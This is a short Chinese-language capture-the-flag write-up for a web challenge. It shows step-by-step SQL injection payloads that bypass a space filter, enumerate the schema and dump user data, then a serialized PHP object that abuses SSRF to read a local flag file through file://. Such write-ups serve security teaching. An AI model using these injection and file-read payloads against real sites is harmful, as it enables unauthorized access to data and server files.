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1.题目

2.先随便注册一下，并查看网页源码，发现如下页面

3.判断注入点,发现?no=1存在注入

4.判断字段数，order by 长度为4(这里对空格进行了过滤，可以用++代替)

?no=0++order++by++4--+

5.得到当前库名

?no=0++union++select++1,database(),3,4--+



6.得到表名

?no=0++union++select++1,group_concat(table_name),3,4++from++information_schema.tables++where++table_schema="fake
book"--+

7.得到列名

?no=0++union++select++1,group_concat(column_name),3,4++from++information_schema.columns++where++table_name="user
s"--+



8.查看data内容，发现是是序列化后的数据，猜测需要反序列化

?no=0++union++select++1,group_concat(data),3,4++from++users--+

9.查看robots.txt,发现php备份文件

看完源码，有点懵逼，看了大佬的WP才知道这里是考SSRF漏洞
10.利用SSRF，得到flag

?no=0++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www
/html/flag.php";}'
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